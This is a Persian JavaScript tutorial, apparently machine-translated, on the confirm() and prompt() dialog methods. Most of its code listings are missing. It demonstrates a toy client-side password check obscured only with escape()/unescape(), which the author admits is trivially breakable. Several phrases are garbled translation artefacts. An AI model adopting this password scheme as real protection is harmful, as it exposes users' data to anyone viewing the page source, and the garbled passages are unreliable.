متد confirm() در حال حاضر به کاربر اجازه می‌دهد یک تصمیم ساده «بولی» بگیرد: «بله» یا «نه» بگوید.
برای مثال روی این دکمه کلیک کنید:
ببخشید برای شوخی کوچولو امیدوارم نحوه استفاده از دکمه برگشت را بدانید.
چطور کار میکند؟ شما البته دیدید که من این روش را با هشدارها ترکیب کردم. و این کار با استفاده از تابعی که در درج شده است انجام می شود.
متد دو مقدار را برمی‌گرداند: true (اگر OK) و false (اگر لغو شود).
وقتی روی true تنظیم شد، آن را به صفحه مناسب (ویژگی href شی موقعیت مکانی) می فرستیم و هشدار () مربوطه را چاپ می کنیم. در غیر این صورت (یعنی false) ما به سادگی یک هشدار () دیگر را چاپ می کنیم.
و در دکمه ما تابع را در رویداد onClick فراخوانی می کنیم:
و سپس باید این تابع را از کنترل کننده رویداد onSubmit تگ فراخوانی کنید، برای مثال:
در اینجا، برای مثال، می توانید هر آنچه در مورد درس های من فکر می کنید را برای من ایمیل کنید. اگر ناگهان هیجان زده شدید و دکمه ای را فشار دادید و سپس به نوعی ناخوشایند شد، یک پنجره گفتگو ظاهر می شود و شما را هوشیار می کند.
اگر پنجره‌های پاپ‌آپ می‌سازید، تمرین خوبی است که در این مورد به کاربر هشدار دهید و به او حق انتخاب بدهید - پنجره را باز کند یا باز نکند. برای انجام این کار، قبل از بارگیری پنجره، باید "parliamenter" - گفتگوی تایید() را آزاد کنید. در اینجا تابع از فراخوانی می شود. به زودی در مورد ایجاد ویندوز با استفاده از متد open() صحبت خواهیم کرد.
متد prompt().
این روش قبلاً داده های خاصی را از کاربر درخواست می کند. یک کادر محاوره ای با یک فیلد ورودی ظاهر می شود. این روش داده هایی را که کاربر وارد این قسمت کرده است برمی گرداند و به برنامه اجازه می دهد با این داده ها کار کند.
متد prompt() دو آرگومان دارد: یک سوال (که در بالای فیلد ورودی ظاهر می شود) و یک پاسخ (متن در قسمت ورودی):
اگر می خواهید قسمت ورودی خالی به نظر برسد، نقل قول های خالی را به عنوان آرگومان دوم قرار دهید:
| سریع(" متن سوال","") |
بیایید این را در عمل ببینیم. دکمه را فشار دهید، نترسید.
بنابراین، شما داده‌ها را وارد کرده‌اید (یا وارد نکرده‌اید) و بر اساس این داده‌ها (یا عدم وجود آن) پاسخی از رایانه دریافت کرده‌اید.
در اینجا یک نسخه ساده از این تابع آورده شده است:
ویژگی innerHTML که به ما امکان می دهد محتویات یک برچسب را کنترل کنیم، در درس 10، زمانی که نام ها را در زیر تصاویر برنامه ریزی کردیم، مواجه شدیم.
و در اینجا کد دکمه و یک پاراگراف خالی برای احوالپرسی وجود دارد.
|
|
اما اگر شما هم نام من باشید، دیدید که تابع به این نیز پاسخ داده است.
چگونه می توان این کار را در یک نسخه "خشن" انجام داد، از قبل می توانید خودتان حدس بزنید. شما باید متغیر user_name را نه تنها برای نقل قول های خالی، بلکه برای " بررسی کنید. آندری"، و در صورت وجود متن مناسب دیگری را وارد کنید (می توانید خودتان آن را تمرین کنید).
اما اگر تایپ کنید " آندری", "آندریوشا", "آندریوشکا", "آندریوخا", "آندریکا", "آندری ایوانوویچ"و غیره، سپس نتیجه مشابه خواهد بود، اگرچه من به صراحت از تمام این مقادیر عبور نکردم، اما تنها با پنج خط به پایان رسیدم: " آندره", "اندرو", "آندری", "آندریچه"و" آندریچ(سه مورد آخر - برای حذف آندریف، آندریچنکو و آندریچوک از نام‌های خود و در عین حال حفظ آندریچیک به عنوان نام‌های خود).
یعنی می توانید حدس بزنید که تابع متغیر user_name را برای 5، 6 یا 8 کاراکتر اول بررسی می کند.
اما زمانی که به اشیاء رشته ای و روش های آنها می پردازیم، کمی بعد در این مورد صحبت خواهیم کرد. من فقط می خواهم از قبل مشکلاتی را که باید حل کنیم (به ویژه انواع تقسیم رشته ها به رشته های فرعی) را تصور کنید. سپس خود تصمیمات واضح تر به نظر می رسند. اما اگر نمی‌توانید صبر کنید، می‌توانید تابع را از کد «کپی» کنید و «آن را مانند یک مهره برش دهید». برای کسانی که کنجکاو هستند، من یک نظر در آنجا نوشتم.
همچنین می توان از متد prompt() برای وارد کردن رمز عبور استفاده کرد.
این پایان درس نیست!
بیایید کمی «جاسوس بازی» کنیم تا بتوانیم این فصل را تا آخر بخوانیم. ابتدا دکمه را فشار داده و چیزی را تایپ کنید.
آه، همین! اما ببینید، یک دکمه دیگر وجود دارد! بیا دیگه...
کلمه عبور:
دکمه اول را دوباره فشار دهید و رمز عبور صحیح را وارد کنید.
این همه سرگرمی، شاید تأثیر داشته باشد، اما در واقع می توانید با فشار دادن رمز عبور را پیدا کنید دکمه سمت راستو به آن در کد نگاه کنید. برخی ممکن است ساده لوحانه فکر کنند که کافی است کد را در یک فایل .js جداگانه قرار دهید. اما در کد صفحه پیوندی به این فایل وجود خواهد داشت که آدرس را نشان می دهد. و اگر آن را تایپ کنید نوار آدرس، سپس یک فایل با کد جاوا اسکریپت باز می شود :)
آیا امکان رمزگذاری رمز عبور در کد وجود دارد؟ ممکن است، اما این دوباره نیاز به دستکاری رشته همراه با استفاده از برخی روش های ریاضی دارد. وقتی به همه اینها رسیدیم، اسکریپت رمز عبور "واقعی" را نیز مطالعه خواهیم کرد. اما تکنیک تعامل با کاربر همچنان یکسان خواهد بود: متد prompt(). (آیا می توان رمز عبور رمزگذاری شده را "شکست" کرد؟ افسوس که هیچ محدودیتی برای کمال هکرها وجود ندارد...)
همانطور که نام یا عدم وجود آن را "گرفتیم"، رمز عبور را نیز با تابع می گیریم.
اگر رمز عبور را اشتباه وارد کنید یا چیزی وارد نکنید، خط
document.getElementById("no").style.display = "block"
یک بلوک را با دکمه دوم باز می کند
و اگر رمز عبور صحیح وارد شود، عمل به خط منتقل می شود
document.getElementById("yes").style.display = "block" ,
که بلوک بعدی را باز می کند
صبر کن، اینها چه نوع گاومیش کوهی دارن هستند؟ این یک کد رمزگذاری ساده است، به زودی آن را توضیح خواهم داد.
در ضمن کد این بلوک ها رو میدم (برای وضوح جدول با فریم ها رو که تو بلوک آخر گذاشتم حذف می کنم):
|
آه، همین! اما ببینید، یک دکمه دیگر وجود دارد! بیا دیگه... کلمه عبور: دکمه اول را دوباره فشار دهید و رمز عبور صحیح را وارد کنید. حالا ادامه مطلب را بخوانید. . . . . . . . . . . |
بنابراین، در مورد رمزگذاری. اون خیلی بدبخته هر گونه، آگاه در مورد توابع escape() و unescape() بلافاصله آن را می شکند.
تابع escape ("رشته را اینجا وارد کنید") کاراکترها را به مقادیر هگزادسیمال آنها تبدیل می کند.
تابع unescape ("inter crackling bison here") برعکس عمل می کند.
برای رمزگذاری رمز عبور به این روش، باید آن را از طریق ()escape در خانه اجرا کنید، نتیجه را کپی کرده و در unescape() قرار دهید. اما این، تکرار می کنم، جدی نیست.
خوب برای مجموعه کامل- عملکرد دکمه دوم:
به استاندارد خروجی جعبه های محاوره ایجاوا اسکریپت فقط سه روش دارد که امروز یاد گرفتیم. اگرچه این روش ها اغلب مورد استفاده قرار نمی گیرند، توانایی استفاده مطمئن از آنها بسیار مفید است. آنها ساده هستند، اما در عین حال به برنامه نویسی "خالص" تعلق دارند. آنها برای یادگیری یک زبان برنامه نویسی بسیار خوب هستند. و من به شما توصیه می کنم که آنها را به هر طریق ممکن تجربه کنید، حتی اگر بی هدف از نقطه نظر عملگرایانه. برنامه نویسی خوب- این یک بازی هیجان انگیز است، مانند هر خلاقیت.